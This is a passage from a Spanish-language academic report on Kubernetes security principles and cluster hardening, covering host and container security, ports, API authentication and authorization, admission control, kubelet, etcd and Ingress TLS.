por Microsoft y definida explicitamente para Kubernetes, donde se encuentran incluidos los
principales vectores de ataque conocidos hasta el momento.

6.4. Principios de seguridad

Los principios de seguridad constituyen los pilares sobre los que se sustenta la base para
los estandares de seguridad que deberian tenerse en cuenta cuando se pretende disefiar
un sistema seguro.

La experiencia ha mostrado en muchos casos que la consideracion de los principios de
seguridad es un factor clave en el éxito del disefio de un sistema seguro. En muchos casos,
las vulnerabilidades y ataques pueden ser atribuidos a la aplicacion inadecuada de alguno
de estos principios de seguridad.

Como se ha comentado, los principios de seguridad son consideraciones generales sobre la
seguridad y por tanto, son aplicables en practicamente cualquier sistema o plataforma; y el
caso de Kubernetes no es la excepcion. A continuacion se abordan con brevedad varios de
los principios que pueden ser aplicados para la seguridad en Kubernetes.

6.4.1. Defensa en profundidad

La defensa en profundidad (defense in depth) es un enfoque en ciberseguridad que aplica
multiples capas de controles de seguridad para proteger nuestros activos. En otras
palabras, la defensa en profundidad tiene como propdsito garantizar redundancia en el caso
de que falle un control de seguridad o se explote una vulnerabilidad [104], [122].
Analogamente, en el contexto de Kubernetes podemos pensar en diversos controles que
conforman diferentes capas de seguridad en nuestro cluster. Desde controles de seguridad
como proteger los componentes de administracién, autenticacion (AuthN), autorizacion
(AuthZ) y hardening de las imagenes, hasta controles destinados a la defensa en tiempo de
ejecucion del cluster; la defensa en profundidad es un principio importante a considerar.



6.4.2. Seguridad de confianza cero

El modelo de seguridad de confianza cero (zero trust security model), o como también se
conoce seguridad sin perimetro (perimeterless security) es un concepto basado en la
creencia de que ningun dispositivo debe ser confiable por defecto. Las organizaciones no
deberian confiar en nada que se encuentre dentro o fuera de sus perimetros y en cambio,
deberian verificar cualquier intento de acceso a sus sistemas antes de otorgar acceso [123],
[124].

Kubernetes no es la excepcion, y por tanto, su seguridad puede verse mas que beneficiada
aplicando este modelo de seguridad. Con este modelo, pudiese no haber necesidad del uso
de cortafuegos (firewalls) tradicionales en Kubernetes®, ya que toda comunicacion estaria
regulada, cifrada y autenticada en ambos sentidos (politicas de red, mutual TLS [125] y
SPIFFE [126]). No obstante, dicho principio no solo es aplicable a nivel de comunicacién de
red, sino en cualquier otro contexto en Kubernetes.

Con el uso del modelo de seguridad de confianza cero en Kubernetes resulta posible
transferir toda la responsabilidad de la seguridad en la red y los microservicios a un tercero:
las mallas de servicios [127]. El uso de estas mallas de servicio (que abordaremos en un
capitulo posterior) permitiria simplificar la préxima generacion de seguridad en la red
basado en el principio de confianza cero.

6.4.3. Principio de privilegio minimo

El principio de privilegio minimo (principle of least privilege) esta basado en el criterio de que
todo mddulo (proceso, usuario, programa, etc.) solo debe ser capaz de acceder a la
informacion (privilegios otorgados) estrictamente necesaria para poder realizar la funcion
para la que fueron disefiados [128], [129].

En el escenario donde un componente se vea comprometido, el atacante solo podria
acceder a los recursos permisibles para ese componente, lo cual limita el “radio de alcance”
del ataque. Aplicando este principio, se dificulta notablemente el trabajo de un atacante y se
limitan los posibles dafios ocasionados producto del ataque.

En el contexto de Kubernetes, esto significaria implementar un mecanismo riguroso de
autorizacion de los usuarios mediante RBAC por una parte, mientras que por otra parte se
limitarian las capacidades de los workloads tanto en el uso de recursos (CPU, RAM, etc.)
como en los privilegios con los que son ejecutados los pods y contenedores.

6.4.4. Defensa de objetivos méviles

La defensa de objetivos maviles (moving target defense) es considerada un paradigma en el
campo de la ciberdefensa y esta basada en una simple premisa: un objetivo en movimiento
(en transformacioén) es mas dificil de atacar que un objetivo estatico (fijo).

La defensa de objetivos moviles fue propuesta en [130] y estd motivada por la inherente
desventaja que presentan los sistemas estaticos ante los ciberatacantes. Con el suficiente
tiempo y un objetivo fijo, un atacante encontrara la forma de explotar las vulnerabilidades
del sistema.

La propuesta de la defensa de objetivos moéviles es dinamizar los sistemas con el objetivo
de limitar a los atacantes en el dominio del tiempo. Ante esto, un atacante tiene un tiempo
limitado para encontrar y explotar vulnerabilidades, lo cual es aplicable para engafiarlos en

& Aungue se desaconseja como hemos visto en el principio de defensa en profundidad.



tiempo real. Una vulnerabilidad encontrada (y quizas ya explotada) pudiese no existir en el
futuro o haber sido mitigada por los Ultimos cambios en el estado del sistema.
En el contexto de Kubernetes, una estrategia de defensa de objetivos moéviles pudiese
significar un rotado frecuente de credenciales (certificados, tokens, etc.), actualizacién de
imagenes de los contenedores de los workloads y muchas otras posibilidades.



7. Hardening del cluster

Como se ha comentado anteriormente, Kubernetes es una plataforma de orquestacion de
contenedores de muy alta complejidad con muchos componentes interconectados. Producto
de esta complejidad, presenta una gran superficie de ataque, resultando en amenazas y
vulnerabilidades potenciales considerables.

Para reducir esta superficie de ataque en un cluster en produccion, es necesario poner en
practica una gran cantidad de controles de seguridad para fortalecer (hardening) nuestro
cluster. El hardening es la coleccidon de técnicas, herramientas y buenas practicas para
reducir las vulnerabilidades en las distintas areas del sistema en cuestion. De esta manera,
se reduce el riesgo de seguridad remediando o mitigando los potenciales vectores de
ataque.

El propésito de este capitulo es plasmar las buenas practicas para el hardening de
Kubernetes descritas en la literatura asociadas a los tres vectores de seguridad primarios
segun [131]:

e host: a nivel de los nodos worker.

e contenedores: a nivel de aplicacion mediante los workloads, pods y contenedores

en si.

e red: a nivel de los componentes y la infraestructura subyacente que los comunica.
Las buenas practicas abordadas en este capitulo tienen en comun que todas son aplicables
durante el proceso de instalacion y configuracion del cluster previo a un estado de
produccién. La estrategia de seguridad por disefio (security by design) [132] aqui abordada,
es de gran importancia porque evita errores desde una etapa temprana. Aquellas buenas
practicas dedicadas a la seguridad en produccién se abordaran en el préximo capitulo.

7.1. Hardening del host

Un host (i.e. nodo worker) seguro es un aspecto clave para la seguridad de un cluster de
Kubernetes [133]. Si el host donde se ejecutan los pods y contenedores se ve de alguna
manera comprometido, existen muchos vectores de ataque que pudieran explotarse en ese
escenario como por ejemplo [131]:

e Escalado de privilegios a root.

e Robo de secretos utilizados en la comunicacion segura entre las aplicaciones y los

componentes de Kubernetes.

e Secuestro (hijacking) de recursos del host (e.g. mineria de criptomonedas).

e Ejecucion de procesos maliciosos.
Como se observa, el hardening a nivel de host es imperativo en caso de que un atacante
logre comprometer nuestra infraestructura. Las estrategias y técnicas mas relevantes para
garantizar la seguridad del host se exploran a continuacion.
Para desplegar y ejecutar contenedores de forma segura en un nodo, su sistema operativo
(usualmente Linux) debe ser configurado y fortalecido (hardened) correctamente. Producto
de las medidas de proteccion, es posible un mayor nivel de control sobre los workloads que
se ejecutan en un nodo. De manera general, las principales consideraciones de seguridad
de un nodo incluyen [110], [131], [134]:



e Eleccion del sistema operativo adecuado. En caso de ser posible’, se recomienda
emplear una distribucién de Linux disefiada especificamente para contenedores (e.g.
Flatcar [135] y Bottlerocket [136]). Algunas ventajas son el uso de nuevos kernels
con implementaciones de tecnologias como eBPF [137]%, su inmutabilidad y su
capacidad de actualizacién automatica a versiones mas nuevas.

e Proteger las comunicaciones con el nodo. Se recomienda el cifrado de todas las
comunicaciones con el nodo (e.g. kubelet, acceso al kube-apiserver, etc.) mediante
certificados TLS para que todos los accesos estén protegidos con TLS de un
extremo a otro.

e Limitar el acceso directo al nodo. Se recomienda limitar el acceso mediante SSH
a los nodos para reducir el riesgo de acceso no autorizado®. Adicionalmente, se
recomienda emplear firewalls a nivel de host para restringir el acceso al nodo a nivel
de capas L3-L4. Algunos plugins CNI también son capaces de resolver este
problema.

e Habilitar controles de seguridad a nivel de kernel. Controles como SELinux [138]
o Seccomp [139] contribuyen a reducir la superficie de ataque del nodo,
garantizando una mayor seguridad del cluster completo.

e Investigar/seguir las buenas practicas de la industria. Nuevos vectores de
ataque se identifican a diario y las recomendaciones y buenas practicas evolucionan
con el tiempo. Se recomienda seguir los benchmarks del Center for Internet Security
(CIS) [140] para Docker y el sistema operativo utilizado.

7.2. Hardening en contenedores

En los dltimos afos, las organizaciones han adoptado los contenedores por su simplicidad y
su impacto en la velocidad de desarrollo. A pesar de sus ventajas, los equipos de seguridad
tienen la responsabilidad de proteger todo lo referente a estos contenedores para garantizar
la seguridad de las aplicaciones desplegadas.

Al igual que en el caso de la infraestructura tradicional, una incidencia de seguridad en los
contenedores puede resultar en una exfiltracion de datos sensibles de clientes y exponer a
la organizacion a un gran riesgo. Evidencia de esto, es la inclusion de vectores de ataque a
nivel de contenedor en la matriz de ataque de Kubernetes de MITRE ATT&CK®, elaborada
por Microsoft [121].

A continuacién se abordan aspectos de seguridad relacionados con las diversas fases del
ciclo de vida de los contenedores (container pipeline) que deben ser tenidos en cuenta
[141].

7.2.1. Fase de construccion (build)

En esta primera fase, el objetivo fundamental es evitar que imagenes vulnerables entren en
los repositorios de nuestra organizacion. Esto es de vital importancia para imagenes que no
son creadas desde cero, sino que son descargadas (ya sea total o parcialmente) de
repositorios publicos; desafortunadamente una practica bastante comun.

" Muchas empresas estandarizan el sistema operativo en toda su infraestructura, por tanto es posible
que la eleccién ya haya sido realizada anteriormente.

8 Bastante Util para Kubernetes por la utilidad en la red y herramientas de monitoreo de seguridad.

® Se recomienda utilizar kubect! exec para acceder directamente al contenedor sin acceder al host.



Sin un proceso bien definido que asegure que solo las imagenes que cumplen con las
politicas de la organizacion se puedan emplear, se corre el riesgo de ejecutar contenedores
vulnerables o incluso maliciosos.
Aungue existen muchas recomendaciones respecto a la seguridad de los contenedores
[142], consideramos que pueden ser agrupadas bajo tres estrategias fundamentales:

e Securizar el cédigo fuente y sus dependencias.

e Utilizar buenas practicas de seguridad en la creacion de imagenes.

e Andlisis de vulnerabilidades a las imagenes.
Tanto la estrategia de securizar el cédigo fuente como la de aplicar buenas practicas de
seguridad constituyen temas de investigacion en si, por lo que nos centraremos en la
tercera de las estrategias: el andlisis de vulnerabilidades de las imagenes.

7.2.1.1. Seqguridad de la imagen

Para mantener imagenes inseguras fuera de los repositorios de la organizacion se deben
implantar controles de seguridad en las herramientas de CI/CD [143] para que éstos sean
ejecutados de manera automatica con cada cambio.

Los controles antes mencionados, se realizan principalmente mediante las herramientas de
escaneo de vulnerabilidades de imagenes. De esta forma, no solo el equipo de seguridad
tiene acceso a estos controles, sino que los desarrolladores pueden realizar funciones de
seguridad de manera proactiva y asi realizar correcciones antes de la fase de CI/CD.
Existen muchas herramientas para este propésito, como Trivy, Checkov, Snyk, Clair,
Anchore, docker scan, entre otras. A continuacion se abordan algunas de estas ya porque
son mas comunes o son relevantes para nuestro trabajo.

Trivy:

Trivy es un escaner de vulnerabilidades sencillo y completo disefiado para imagenes de
contenedores, sistemas de ficheros, repositorios de Git, entre otros propdsitos. Trivy detecta
vulnerabilidades en paquetes del sistema operativo (Alpine, RHEL, CentOS, etc.) asi como
paquetes especificos de lenguajes de programacion (Bundler, Composer, npm, yarn, etc.).
Adicionalmente, Trivy puede escanear ficheros de Infrastructure as Code (laC) como
Terraform, Dockerfile y Kubernetes, detectando posibles problemas de configuracién de los
mismos.

Para mas detalles sobre Trivy, se recomienda consultar [144]-[146].

Checkov:

Checkov es una herramienta para el analisis estatico de cddigo para laC que escanea la
infraestructura en la nube provisionada por Terraform, Kubernetes, Dockerfile y plantillas
Serverless o0 de Azure Resource Manager (ARM) para detectar errores de configuracion de
seguridad y cumplimiento con buenas préacticas [147].

Checkov es un software basado en Python y permite obtener resultados en diferentes
formatos, incluyendo JSON, JUnit XML o la salida en consola.

Para mas detalles, se recomienda consultar [148].

7.2.2. Fase de despliegue (deploy / ship)

En esta fase, el propésito fundamental es el de proteger los repositorios de imagenes de
contenedores, asi como el transito seguro de estas imagenes hacia su destino. A nuestra
consideracioén, las dos tareas fundamentales en esta fase son la gestion del registro de



contenedores y la seguridad de la cadena de suministro de software, las cuales se abordan
con mas profundidad a continuacion.

7.2.2.1. Gestion del registro de contenedores

En este caso, es recomendable realizar inventarios de manera periédica a los registros y
repositorios de contenedores. A medida que se agregan imagenes, éstas deben ser
escaneadas en busca de nuevas vulnerabilidades. Este aspecto es de gran importancia,
pues si un atacante gana acceso a nuestro registro de contenedores, no habria manera de
garantizar la fiabilidad de las imagenes que desplegamos en nuestra infraestructura.

Otra recomendacion en este caso es la de utilizar registros de contenedores privados (e.g.
repositorios privados en Docker Hub, Google Cloud Registry (GCR), Amazon Elastic
Container Registry (ECR), entre otros) tanto para imagenes comunes como para imagenes
personalizadas propias. De esta manera, la organizacion puede controlar tanto el acceso
como el contenido del registro, previniendo de esa manera la inyeccién de malwares en las
imagenes.

Una dltima recomendacién y buena practica de seguridad es forzar el uso de imagenes
firmadas digitalmente en el registro. Algunos registros de contenedores como Harbor
permiten a los usuarios firmar imagenes al publicarlas en el repositorio y previenen el uso
de imagenes que no han sido firmadas desde el repositorio.

Para mas detalles al respecto, se pueden consultar [149], [150].

7.2.2.2. Seqguridad de la cadena de suministro de software

Con el aumento de la adopcion del software open-source, las aplicaciones se construyen de
componentes de software de terceros mantenidos por personas o entidades ajenas a la
organizacion. Estos componentes estan alojados en un registro centralizado (el caso mas
comun), lo cual constituye la cadena de suministro de software (software supply chain).
Actores maliciosos pudieran explotar fallas de disefio o0 de seguridad en estos componentes
de terceros para comprometer a los usuarios finales y vulnerar sus sistemas. El uso de
aplicaciones basadas en arquitectura de microservicios han evolucionado dramaticamente
en los afios recientes. La mayoria de las herramientas no son capaces de lidiar con el ritmo
acelerado de desarrollo agil y de las metodologias de DevOps, por lo que ha aumentado de
manera significativa los ataques a las cadenas de suministro de software [151].

La seguridad en la cadena de suministro de software constituye un paso de avance en la
seguridad de los contenedores. Algunas buenas practicas se abordan en la literatura, pero a
nuestra consideracion también pueden afiadirse otras como las plataformas avanzadas para
estos propésitos como Snyk [152] y BinaryAuthorization [153] y el uso de componentes
open-source como Grafeas [154] combinado con Kritis [155] para resolver dicho problema.
Para mas detalles respecto al tema, se recomiendan [156], [157].

7.2.3. Fase de ejecucion (runtime)

Una vez que hemos aplicado controles de seguridad en las fases de build y deploy, las
imagenes de los contenedores en nuestros registros estan listas para produccion. En este
momento, resulta de vital importancia tener visibilidad y realizar un monitoreo continuo de
los entornos de ejecucion de los contenedores para prevenir y responder a incidentes de
seguridad.



Segun [131], existen tres vectores de seguridad criticos para la proteccion en esta fase de
ejecucion:

e Inspeccionar y securizar la red: un firewall de contenedores permite portar
técnicas de seguridad tradicionales a un entorno nativo de la nube como
Kubernetes. Existen varios enfoques para proteger la red de un contenedor con un
firewall.

o Filtrado de trafico a nivel de capa L3-L4 basado en IPs y puertos. En este
caso se contempla el uso de las politicas de red de Kubernetes para la
segmentacion de red, entre otros controles.

o Empleo de un Web Application Firewall (WAF) para la deteccion de
ataques a contenedores expuestos via web empleando métodos para la
identificar ataques comunes.

o Uso de un firewall de contenedores a nivel de capa L7 para el filtrado y la
inspeccion profunda de paquetes (Deep Packet Inspection (DPI)) en el trafico
entre pods. Estos firewalls son un buen lugar donde incorporar monitoreo de
procesos en los contenedores y de la seguridad en el host.

e Inspeccién de los contenedores: muchos utilizan escalado de privilegios y
procesos maliciosos para realizar o expandir un ataque, por lo que exploits de
vulnerabilidades (e.g. DirtyCow), paquetes o aplicaciones en si pueden generar
actividad sospechosa en un contenedor. Inspeccionar los procesos y el sistema de
ficheros para detectar comportamientos sospechosos (escaneo de puertos, shells
reversas) es clave.

e Seguridad del host: si el host (el nodo) donde se ejecutan los contenedores se ve
comprometido, esto tiene un gran impacto negativo. No abundaremos mas en este
tema pues fue abordado anteriormente.

Para informacién mas detallada sobre el tema, consultar [158]—[160].

7.3. Limitar el acceso externo al cluster

Para proteger el acceso indeseado desde el exterior a un cluster de Kubernetes existen dos
estrategias principales [133]:

e Controlar el acceso a puertos sensibles.

e Limitar el acceso directo a los nodos worker.
La limitacién del acceso directo a los nodos worker que forman parte del cluster fue
explorado anteriormente como parte del hardening del host, por lo que a continuacién solo
abordaremos el control del acceso a puertos sensibles.
Un cluster de Kubernetes usualmente escucha en un rango bien definido y distintivo de
puertos, lo cual facilita a los atacantes identificar y atacar el cluster. Por ello, es altamente
recomendable controlar el acceso a dichos puertos (e.g. acceso desde redes confiables),
asi como configurar la autenticacion (AuthN) y autorizaciéon (AuthZ) tanto para el plano de
control como para el plano de datos.
Una lista de los puertos predeterminados utilizados por Kubernetes para el plano de control
y el plano de datos se pueden observar en las Tabla 2 y Tabla 3 respectivamente.




Tabla 2. Puertos sensibles del plano de control.

Protocolo | Trafico | Puerto (Rango) Propésito Usado por
TCP Entrante 6443 kube-apiserver Todos
TCP Entrante 2379-2380 Cliente del API del kube-apiserver,
servidor de etcd. etcd.
TCP Entrante 10250 API del kubelet Cluster, plano de
control.
TCP Entrante 10251 kube-scheduler Cluster
TCP Entrante 10252 kube-controller-manager Cluster

Tabla 3. Puertos sensibles de un nodo worker.

Protocolo | Trafico | Puerto (Rango) Propésito Usado por
TCP Entrante 10250 API del kubelet Cluster, plano
de control.
TCP Entrante 10255 API del kubelet (solo Cluster, plano
lectura) de control.
TCP Entrante 30000-32767 | Servicios de tipo NodePort | Todos

Para més detalles sobre el tema, se recomiendan [133], [161], [162].

7.4. Seguridad de componentes y recursos

Como se ha mencionado anteriormente, Kubernetes es una plataforma compleja integrada
por varios componentes (kube-apiserver, etcd, kubelet, etc.) y recursos (objetos del API) los
cuales deben ser protegidos para reducir la gran superficie de ataque del cluster. A
continuacién se abordan las principales propuestas en la literatura para lograrlo.

7.4.1. Securizar el APl de Kubernetes

El API de Kubernetes (kube-apiserver) es considerada la puerta de entrada al plano de
control, ya que es el componente encargado de todas las peticiones tanto de usuarios como
de aplicaciones (Service Accounts) ejecutandose en el cluster (ver Figura 11).
kube-apiserver puede ser accedido mediante kubectl, bibliotecas de cliente o mediante
peticiones HTTP al API directamente. Por estas razones, su proteccion estia basada en el
control del acceso a la misma, aunque existen otras estrategias complementarias.

Cuando una peticién llega al API, ésta debe pasar por varias etapas como se observa en la
Figura 11. Dichas etapas son clave para entender las estrategias y medidas de seguridad
para proteger al kube-apiserver que se abordan a continuacion.
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Figura 11. Etapas del procesamiento de una peticién al APl de Kubernetes.
(Fuente: kubernetes.io)

7.4.1.1. Trafico mediante TLS

En un cluster de Kubernetes tipico, kube-apiserver usa el puerto 443 (en ocasiones 6443),
el cual esta protegido por TLS. kube-apiserver presenta un certificado que puede haber sido
firmado por una autoridad certificadora (o Certificate Authority (CA)) privada o basado en
una infraestructura de llave publica (o Public Key Infrastructure (PKIl)) vinculado a una
autoridad certificadora generalmente reconocida [163].

No obstante, algunos métodos de instalacion de Kubernetes pudiesen habilitar puertos
sobre HTTP para algunos componentes (e.g. kubelet) que eventualmente interactian con
kube-apiserver por estos canales. Es importante que los administradores estén
familiarizados con las configuraciones de estos componentes para identificar cualquier
tréfico potencialmente no seguro.

7.4.1.2. Autenticaciéon (AuthN)

Una vez establecida la comunicacién por TLS, la peticion HTTP completa se envia como
entrada (aunque tipicamente también se examinan los headers y el certificado del cliente) a
la fase de autenticacion (AuthN) (ver Figura 11). Los métodos de instalacion de Kubernetes
o los administradores, configuran kube-apiserver para ejecutar uno o varios modulos de
autenticacién (authentication modules). Dichos moédulos pueden ser agrupados en dos
grandes clases dependiendo del responsable de la autenticacion: los predeterminados o los
de terceros. A continuacion se describen con mayor profundidad.

Moédulos de autenticacion integrados:

Existe una gran variedad de modulos de autenticacion integrados que pueden ser
especificados durante el proceso de autenticacion (AuthN). En caso de haber especificado
mas de uno, todos son ejecutados secuencialmente hasta que uno de ellos culmina con
éxito. De lo contrario, la peticibn no puede ser autenticada y es rechazada retornando un
HTTP 401.

Entre los modulos de autenticacion integrados mas conocidos se encuentran los certificados
de clientes X509 (X509 Client Certs), fichero de token estatico (Static Token File), tokens de



cuentas de servicio (Service Account Tokens), entre otros. Informacion mas detallada o para
consultar otros médulos integrados, se recomienda [164].

Métodos de autenticacion de terceros:

Otra familia de mecanismos de autenticacién son aquellos donde la responsabilidad de
autenticar a un usuario recae en las manos de un tercero. Centralizar la autenticacion y la
autorizacion en toda la organizacién (en otras palabras, Single Sign On (SSO) [165]) ayuda
con el ingreso y partida del personal, asi como tener unos permisos consistentes para los
usuarios.

Kubernetes puede integrarse con estos proveedores (e.g. Google, Github) y de esta manera
prevenir que los administradores tengan que reconfigurar kube-apiserver para administrar
usuarios. Para este proposito, Kubernetes ofrece los tokens de conexion mediante OpenlID
(OpeniID Connect Tokens), los cuales se describen en mayor detalle en [164].

En caso de tener un mecanismo de autenticacion propia con servicios como LDAP o un
mecanismo basado en Kerberos, los usuarios de Kubernetes también pueden ser
“integrados” a estos servicios mediante los modulos Webhook y proxy de autenticaciéon
(Authentication Proxy). Para mas detalles al respecto, consultar [166].

7.4.1.3. Autorizacion (Authz)

Una vez autenticada la peticion proveniente de un usuario determinado, debe ser autorizada
a continuacion (ver Figura 11). La peticién debe incluir el nombre de usuario del solicitante y
el objeto afectado por la accion. Una peticion es autorizada si alguna de las “politicas”
existentes declara que el usuario cuenta con los permisos necesarios para realizar la accion
solicitada.

Las “politicas” de autorizacién estan determinadas por los médulos de autorizacién y sus
configuraciones. En Kubernetes se pueden configurar varios médulos de autorizacion a la
vez, los cuales son verificados secuencialmente. Si alguno de los médulos emite una
decision (aprobar o denegar), dicha decisién es retornada de inmediato y no se consulta
ningln otro moédulo. Si ninguno de los médulos emite una decision, la peticion se considera
denegada, lo cual resulta en un HTTP 403.

En Kubernetes existen cuatro modulos (o modos) de autorizacién que pueden ser usados
en kube-apiserver, los cuales son configurados por los administradores en el momento de la
creacion del cluster. A continuacion se abordan brevemente cada uno de ellos:

e Node: es un modo de autorizacién especialmente disefiado para otorgar permisos a
los kubelets para realizar peticiones al kube-apiserver. Para mas detalles sobre este
maodulo, consultar [167].

e Attribute-based access control (ABAC): define un paradigma de control de acceso
donde los derechos de acceso son otorgados a los usuarios combinando atributos
mediante “politicas”. Dichas “politicas” pueden usar cualquier tipo de atributos (de
usuario, de recurso, etc.) para tomar una decision. Para mas detalles, consultar
[168].

e Role-based access control (RBAC): es un método de control de acceso a una PC
o recursos de red basado en el rol de los usuarios en una organizacion. El rol de un
usuario en Kubernetes encapsula un conjunto de permisos, por ejemplo, para tener
acceso de lectura a un recurso en particular combinando los verbos “get”, “watch” y
“list” en el rol. Si el rol es a nivel de cluster requerimos un ClusterRole, mientras que
para un namespace especifico necesitamos un Role. RBAC representa para los



administradores un mecanismo para prevenir de manera eficiente escalados de
privilegios no deseados. Para mas detalles sobre el tema, se recomienda [169].
e Webhook: es un callback que tiene lugar cuando se produce un evento que debe
ser notificado via HTTP POST. En el contexto de Kubernetes, el modo Webhook
emite una consulta a un servicio externo para determinar si se debe dar acceso a
una peticion al kube-apiserver. Este método permite a Kubernetes incorporar
politicas externas e implementar una l6gica personalizada para la autorizacion de las
peticiones. Para mas detalle, se recomienda [170].
De los modos mencionados, la recomendacion de la documentacién oficial de Kubernetes
para securizar la autorizacion al kube-apiserver es combinar los modos de Node y RBAC
[163] en conjuncién con el plugin de admision (tema que trataremos a continuacion en el
control de admisién) NodeRestriction.
Para mas informacién al respecto, consultar [163].

7.4.1.4. Control de admision

A pesar de la flexibilidad de estrategias como RBAC, existen algunas limitaciones en lo que
concierne a la proteccién del kube-apiserver:

e Explosioén de los roles: a medida que las organizaciones crecen, es inevitable el
surgimiento de una gran cantidad de roles (muchas veces bastante similares entre
ellos). Como consecuencia, la tarea de administracion de estos roles se vuelve
insostenible (dificil distinguirlos, asignarlos correctamente, etc.), creando un riesgo
de seguridad, asi como problemas de cumplimiento y auditoria.

e Poca granularidad y estatico: RBAC opera solo a nivel roles de usuarios,
ignorando otros atributos importantes como ubicacion, dispositivo, entre otros. Por
ejemplo, un usuario con acceso de edicion a un recurso, puede editar cualquier parte
de dicho recurso; esto no es deseable en ciertos escenarios.

Como se ha comentado en la seccién anterior, RBAC constituye la primera linea de defensa
para la validacion de la autorizacion en kube-apiserver. No obstante, debido a sus
limitaciones resulta necesario una Ultima linea de defensa: el control de admision
(admission control).

El control de admision se aplica mediante modulos de software que son capaces de
modificar o rechazar peticiones al kube-apiserver. Estos médulos son capaces de acceder a
los atributos disponibles para los modulos de autorizacion (ver seccion anterior), pero
también a los contenidos del objeto/recurso que esta siendo creado o modificado.

Un controlador de admisién es una porcién de codigo que intercepta las peticiones a las
peticiones al kube-apiserver antes de la persistencia del objeto en etcd, pero después de
gue esta ha sido autenticada y autorizada. Existe una extensa lista de estos controladores
[171], los cuales estan incluidos en el binario kube-apiserver y solo pueden ser configurados
por el administrador del cluster.

Los plugins (o controladores) en la lista antes mencionada pueden clasificarse en dos
grupos: compilados y dinamicos (control de admision dindmico). Existen solo dos plugins de
admision dinamicos que son de especial relevancia: MutatingAdmissionWebhook vy
ValidatingAdmissionWebhook.

Estos plugins/controladores son los encargados de ejecutar los webhooks de mutacion y
validacién (respectivamente) configurados en kube-apiserver. Los plugins de mutacion
pueden modificar los objetos que admiten, mientras que los de validacion no. Cabe notar
gue un controlador puede ser de “validacion”, de “mutacion”, o ambos.



El proceso de control de admision consta de dos fases. En la primera fase, se ejecutan los
controladores de admision de tipo mutacion, mientras que los de tipo validacién se ejecutan
en la segunda fase. Si alguno de los controladores en cualquiera de las fases rechaza la
peticion, ésta se rechaza de manera inmediata y se retorna un error [172].

Como se ha observado, los controladores de admision permiten implementar una logica
arbitraria especifica en nuestro contexto. Sin embargo, la implementacién, despliegue y
mantenimiento de dicho cddigo personalizado que implementa el protocolo de control de
admisién en un webhook no es nada deseable.

En estas circunstancias es donde Open Policy Agent (OPA) sobresale. OPA fue disefiado
para expresar politicas de control de acceso (aunque aplica a otros tipos de politicas) de
manera efectiva con un lenguaje declarativo. Rego (dicho lenguaje) opera sobre contenido
en formato JSON/YAML arbitrario e incluye diversas facilidades como iteracion, funciones
nativas, dot-notation, entre otras [173].

Con el tiempo, la integracion de OPA con Kubernetes como controlador de admision ha ido
evolucionando en lo que hoy se conoce como Gatekeeper [174], [175]. Algunos ejemplos de
buenas practicas con OPA y Gatekeeper se pueden consultar en [176], [177].

Para mas detalles sobre el tema, se recomiendan [178], [179].

7.4.2. Control de acceso al kubelet

Otro componente del cluster que al igual que kube-apiserver debe ser protegido, es el
componente kubelet. Los kubelets exponen endpoints sobre HTTPS que permiten obtener
gran control sobre el nodo worker y sus contenedores. En algunos métodos de instalacién
de Kubernetes, los kubelets permiten acceso no autenticado al API. Para los clusters en
produccidn, se recomienda a los administradores gestionar la autenticacion y autorizacion al
kubelet.

A diferencia de kube-apiserver, las peticiones a los endpoints del API del kubelet que no son
rechazadas por otros métodos de autenticacion son tratadas como peticiones anénimas y
se les asigna el usuario system:anonymous y el grupo system:unauthenticated. Se
recomienda deshabilitar este acceso anénimo y retornar un HTTP 401 en las peticiones no
autenticadas iniciando el kubelet con el flag --anonymous-auth=false. En su lugar,
habilitar la autenticacion mediante certificados X509 o bearer tokens.

Anélogamente al kube-apiserver, cualquier peticion autenticada debe ser posteriormente
autorizada. El modo de autorizacién por defecto es AlwaysAllow, el cual permite todas las
peticiones. Este modo pudiera ser suficiente, pero en diversos casos resulta necesario tener
un mayor control. En este escenario, es recomendable delegar la tarea de autorizacién al
kube-apiserver.

Una ultima recomendacién para proteger el kubelet, es la habilitacion de auditoria para
documentar las secuencias de acciones relevantes para este componente que han ocurrido
en el cluster [180].

Para comprender desde un punto de vista practico las consecuencias de deficiencias en la
configuracion del kubelet, se ha desarrollado un escenario real en el capitulo de disefio
experimental. Para mas detalles respecto al tema, se recomienda consultar [181], [182].

7.4.3. Acceso seguro a etcd

etcd es un componente critico de Kubernetes encargado de persistir el estado del cluster en
una base de datos distribuida de llave-valor. En etcd se almacena informacién relevante



como el estado (inventario de recursos, etc.) y Secrets, por lo que deberia ser protegido de
manera diferente al resto del cluster.

Adquirir acceso de escritura en etcd es equivalente a obtener privilegios de administracion
en el cluster completo, mientras que con permisos de lectura es posible realizar un escalado
de privilegios relativamente facil. Igualmente, permitir a otros componentes del cluster
acceder a la instancia master de etcd con permisos de lectura o escritura al espacio de
llaves en su totalidad es equivalente a tener acceso como administrador del cluster.

Una primera estrategia es proteger tanto el acceso como la comunicacién con el cluster de
etcd desde redes no confiables. Inicialmente se recomienda aislar a las instancias del
cluster de etcd detras de un firewall tradicional a nivel de capas L3-L4 para que solo sean
accedidos desde kube-apiserver. A continuacién, se recomienda proteger todo tipo de
comunicacion con etcd mediante el uso de credenciales soélidas como certificados de
autenticacién mutua via TLS [183].

Otra estrategia consiste en separar las instancias de etcd (master y no-master) o emplear
ACLs de etcd para restringir los permisos de lectura y escritura a un subconjunto del
espacio de llaves.

Finalmente, se recomienda aplicar una proteccion en tiempo de ejecucidn para garantizar
gue etcd solo tenga acceso a un conjunto de carpetas y/o sockets de red predeterminados.
Cualquier acceso no listado en una lista blanca, dara una alarma.

Para mas informacién respecto al tema, consultar [182], [184].

7.4.4. Securizar el Ingress

El trafico entrante puede ser protegido mediante la configuracién de TLS para todas las
comunicaciones que lo requieran a través de Ingress. El recurso de Ingress solo soporta un
puerto (puerto 443) para la comunicacién por TLS y asume una terminacién de TLS a nivel
de Ingress, es decir, que el trafico hacia los servicios y pods es en texto plano.

Para securizar Ingress es necesario especificar un Secret que contenga una llave privada y
un certificado TLS. Dicho Secret (el manifiesto en YAML) debe contener las llaves tls.crt
y tls.key que contienen el certificado y la llave privada antes mencionados (como se
observa a continuacion).

apiVersion: v1
kind: Secret
metadata:
name: testsecret-tls
namespace: default
data:
tls.crt: base64 encoded cert
tls.key: base64 encoded key
type: kubernetes.io/tls

Luego es necesario referenciar el Secret creado en el recurso de Ingress para proteger el
canal de comunicacién entre el cliente y el balanceador de carga (creado para el Ingress)
mediante TLS.

Para mas detalles sobre la seguridad de Ingress, se recomiendan [185], [186].



7.4.5. Securizar el Dashboard

La proteccion del Dashboard de Kubernetes (o consola administrativa) es vital para la
proteccién y el hardening del cluster. Ejemplo de ello es el ataque de criptojacking a Tesla (y
